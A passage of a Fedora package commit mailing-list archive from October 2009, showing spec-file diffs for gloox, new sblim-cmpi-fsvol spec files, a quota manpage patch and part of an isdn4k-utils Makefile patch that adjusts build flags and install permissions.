-Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0
+Release:		0.9.%{?prerel:%{prerel}.}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
-#Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
 # svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
 #	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
-Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
+Source0:		%{name}-%{version}%{?prerel}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
 #Patch1:		gloox-getaddrinfo.patch
@@ -43,7 +42,7 @@ The %{name}-devel package contains libra
 developing applications that use %{name}.
 
 %prep
-%setup -q -n %{name}-%{version}%{?beta:-beta%{beta}}
+%setup -q -n %{name}-%{version}%{?prerel}
 
 %build
 %if 0%{?SVN}
@@ -83,6 +82,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.9.rc3.SVNr4204
+- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
+- Expand "beta" define and magick to more common "prerel".
+
 * Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
 - New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
 



From vcrhonek at fedoraproject.org  Tue Oct 20 11:17:31 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 11:17:31 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/F-10 sblim-cmpi-fsvol.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091020111731.38D4011C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12519

Modified Files:
	sources 
Added Files:
	sblim-cmpi-fsvol.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 11:17:31 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From ovasik at fedoraproject.org  Tue Oct 20 11:17:41 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Tue, 20 Oct 2009 11:17:41 +0000 (UTC)
Subject: rpms/quota/F-11 quota-3.17-quotactlmanpage.patch, NONE,
	1.1 quota.spec, 1.53, 1.54
Message-ID: <20091020111741.D3FC311C0081@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/quota/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12563

Modified Files:
	quota.spec 
Added Files:
	quota-3.17-quotactlmanpage.patch 
Log Message:
symlink manpage for rpc.rquotad, fix headers and structs in quotactl manpage(#524138)

quota-3.17-quotactlmanpage.patch:
 quotactl.2 |   29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

--- NEW FILE quota-3.17-quotactlmanpage.patch ---
diff -urNp quota-tools-orig/quotactl.2 quota-tools/quotactl.2
--- quota-tools-orig/quotactl.2	2008-10-13 19:29:18.000000000 +0200
+++ quota-tools/quotactl.2	2009-09-18 09:27:30.000000000 +0200
@@ -3,12 +3,11 @@
 quotactl \- manipulate disk quotas
 .SH SYNOPSIS
 .nf
-.B #include <linux/quota.h>
+.B #include <sys/quota.h>
+.B #include <sys/types.h>
 .B #include <xfs/xqm.h>
-.B #include <linux/dqblk_v1.h>
-.B #include <linux/dqblk_v2.h>
 .LP
-.B long quotactl(int cmd, char \(**special, qid_t id, caddr_t addr)
+.B long quotactl(int cmd, char \(**special, int id, caddr_t addr)
 .fi
 .SH DESCRIPTION
 .LP
@@ -67,9 +66,9 @@ Get disk quota limits and current usage 
 .IR id .
 .I addr
 is a pointer to an
-.B if_dqblk
+.B dqblk
 structure (defined in
-.BR <linux/quota.h> ).
+.BR <sys/quota.h> ).
 The field
 .I dqb_valid
 defines the entries in the structure which are set correctly. On
@@ -82,15 +81,15 @@ Set current quota information for user o
 .IR id .
 .I addr
 is a pointer to an
-.B if_dqblk
+.B dqblk
 structure (defined in
-.BR <linux/quota.h> ).
+.BR <sys/quota.h> ).
 The field
 .I dqb_valid
 defines which entries in the quota structure are valid and should be set. The constants for
 .I dqb_valid
 field are defined in the
-.B <linux/quota.h>
+.B <sys/quota.h>
 header file. This call obsoletes calls
 .B Q_SETQLIM
 and
@@ -101,9 +100,9 @@ in the previous quota interfaces. This c
 Get information (like grace times) about quotafile.
 .I addr
 should be a pointer to an
-.B if_dqinfo
+.B dqinfo
 structure (defined in
-.IR <linux/quota.h> ).
+.IR <sys/quota.h> ).
 The
 .I dqi_valid
 field in the structure defines entries in it
@@ -118,15 +117,15 @@ is ignored. 
 Set information about quotafile.
 .I addr
 should be a pointer to
-.B if_dqinfo
+.B dqinfo
 structure (defined in
-.IR <linux/quota.h> ).
+.IR <sys/quota.h> ).
 The field
 .I dqi_valid
 defines which entries in the quota info structure are valid and should be set. The constants for
 .I dqi_valid
 field are defined in the
-.B <linux/quota.h>
+.B <sys/quota.h>
 header file. This call obsoletes calls
 .B Q_SETGRACE
 and
@@ -156,7 +155,7 @@ Get statistics and other generic informa
 should be a pointer to
 .B dqstats
 structure (defined in
-.BR <linux/quota.h> )
+.BR <sys/quota.h> )
 in which data should be stored.
 .I special
 and


Index: quota.spec
===================================================================
RCS file: /cvs/extras/rpms/quota/F-11/quota.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- quota.spec	13 Mar 2009 13:29:34 -0000	1.53
+++ quota.spec	20 Oct 2009 11:17:41 -0000	1.54
@@ -5,7 +5,7 @@ Name: quota
 Summary: System administration tools for monitoring users' disk usage
 Epoch: 1
 Version: 3.17
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: BSD and GPLv2+
 URL: http://sourceforge.net/projects/linuxquota/
 Group: System Environment/Base
@@ -86,6 +86,8 @@ rm -f %{buildroot}%{_mandir}/man8/quot.*
 rm -f %{buildroot}%{_mandir}/man8/xqmstats.*
 ln -sf  ./quotaon.8 \
   %{buildroot}%{_mandir}/man8/quotaoff.8
+ln -s rquotad.8.gz \
+   %{buildroot}%{_mandir}/man8/rpc.rquotad.8
 
 %find_lang %{name}
 
@@ -110,6 +112,10 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/man3/*
 
 %changelog
+* Tue Oct 20 2009 Ondrej Vasik <ovasik at redhat.com> 1:3.17-5
+- symlink manpage for rpc.rquotad
+- fix headers and structs in quotactl manpage(#524138)
+
 * Fri Mar 13 2009 Ondrej Vasik <ovasik at redhat.com> 1:3.17-4
 - clarify statements about LDAP in warnquota conf
   (related to #490106)



From vcrhonek at fedoraproject.org  Tue Oct 20 11:30:29 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 11:30:29 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/EL-5 sblim-cmpi-fsvol.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091020113029.55C9211C029E@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14348

Modified Files:
	sources 
Added Files:
	sblim-cmpi-fsvol.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 11:30:29 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From than at fedoraproject.org  Tue Oct 20 11:30:42 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 20 Oct 2009 11:30:42 +0000 (UTC)
Subject: rpms/isdn4k-utils/devel isdn4k-utils-CVS-2009-10-20-redhat.patch,
	NONE, 1.1
Message-ID: <20091020113042.17F2811C029E@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14402

Added Files:
	isdn4k-utils-CVS-2009-10-20-redhat.patch 
Log Message:
- add missing man pages
- add upstream patches



isdn4k-utils-CVS-2009-10-20-redhat.patch:
 isdn4k-utils-CVS-2003-09-23/.config.rpm                          |   49 +++++-----
 isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in                  |   10 +-
 isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in                 |    2 
 isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in                    |    6 -
 isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am                  |    2 
 isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am                 |    2 
 isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am                 |    2 
 isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in               |    8 -
 isdn4k-utils-CVS-2003-09-23/doc/Makefile.in                      |    2 
 isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in                    |   10 +-
 isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in                    |    8 -
 isdn4k-utils-CVS-2003-09-23/icn/Makefile.in                      |   10 +-
 isdn4k-utils-CVS-2003-09-23/imon/Makefile.in                     |    8 -
 isdn4k-utils-CVS-2003-09-23/imontty/Makefile                     |    6 -
 isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c                          |    2 
 isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in                |    8 -
 isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in                   |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in                 |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in                  |   12 +-
 isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf        |   35 ++-----
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in        |    4 
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in       |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in       |    6 -
 isdn4k-utils-CVS-2003-09-23/lib/Makefile.in                      |    2 
 isdn4k-utils-CVS-2003-09-23/loop/Makefile.in                     |    8 -
 isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in                    |    8 -
 isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am                   |    2 
 isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example     |    6 -
 isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example |   20 ++--
 isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile                  |    2 
 isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in                    |   10 +-
 isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile               |    2 
 isdn4k-utils-CVS-2005-02-16/lib/Makefile                         |    2 
 isdn4k-utils-CVS-2009-10-20/Makefile                             |   12 --
 34 files changed, 141 insertions(+), 149 deletions(-)

--- NEW FILE isdn4k-utils-CVS-2009-10-20-redhat.patch ---
--- isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in.redhat	2002-07-19 21:03:49.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/act2000
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= actctrl
@@ -18,9 +18,9 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in.redhat	1999-06-19 11:39:59.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -12,7 +12,7 @@
 	# only ones that _really_ exist on _every_ system.
 	#
 	BUILDOPTS   := $(DATAOPTS)
-	INSTALLOPTS := $(DATAOPTS) INSTALL="install -o 0 -g 0 -m 644"
+	INSTALLOPTS := $(DATAOPTS) INSTALL="install -m 644"
 endif
 
 all: .depend
--- isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in.redhat	2002-07-19 21:03:50.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
+CFLAGS			= $(RPM_OPT_FLAGS)
 LDFLAGS			= -L../lib @LIBS@
 INCLUDES		= -I.
 PROGRAMS		= avmcapictrl
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am.redhat	2000-03-03 16:54:12.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am.redhat	2000-10-20 19:14:20.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am.redhat	2000-03-17 17:19:43.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr core
 
 INCLUDES = $(all_includes)
-CFLAGS = -Wall -O2 -D_GNU_SOURCE # -g
+CFLAGS = -Wall -D_GNU_SOURCE $(RPM_OPT_FLAGS)
 LDFLAGS = $(all_libraries)
 LDADD = 
 
--- isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in.redhat	2002-07-19 21:03:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,16 +5,16 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/divert
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= divertctrl
 MODULES			= divertctrl.o
 MANPAGE			= divertctrl.8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq (../.config,$(wildcard ../.config))
--- isdn4k-utils-CVS-2003-09-23/doc/Makefile.in.redhat	1999-12-24 15:14:50.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/doc/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -9,7 +9,7 @@
 SED				= @SED@
 MANDIR			= @CONFIG_MANDIR@
 MANPAGES		= ttyI.4 isdninfo.4 isdn_audio.4 isdnctrl.4 isdn_cause.7
-INSTALL_MAN		= @INSTALL@ -o 0 -g 0 -m 0644
+INSTALL_MAN		= @INSTALL@ -m 0644
 prefix			= @prefix@
 
 %.1: %.man
--- isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in.redhat	2002-07-19 20:42:01.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -7,8 +7,8 @@
 #
 
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2 -DUNIX -DLINUX
-INCLUDES		= -I. -Iinclude
+CFLAGS			= -Wall -DUNIX -DLINUX $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -Iinclude -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/eicon
 LDFLAGS			= -L../lib @LIBS@
 PROGRAMS		= 
 PROGRAM			= eiconctrl
@@ -22,9 +22,9 @@
 DATA_DIR		= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@
 COPTS			= -DDATADIR=\"$(shell echo $(DESTDIR)$(DATA_DIR))\"
 
--- isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in.redhat	2002-07-19 21:03:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,7 +6,7 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2 -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS) -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAMS		=
 MODULES			= hisaxctrl.o
@@ -16,9 +16,9 @@
 DATADIR			= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
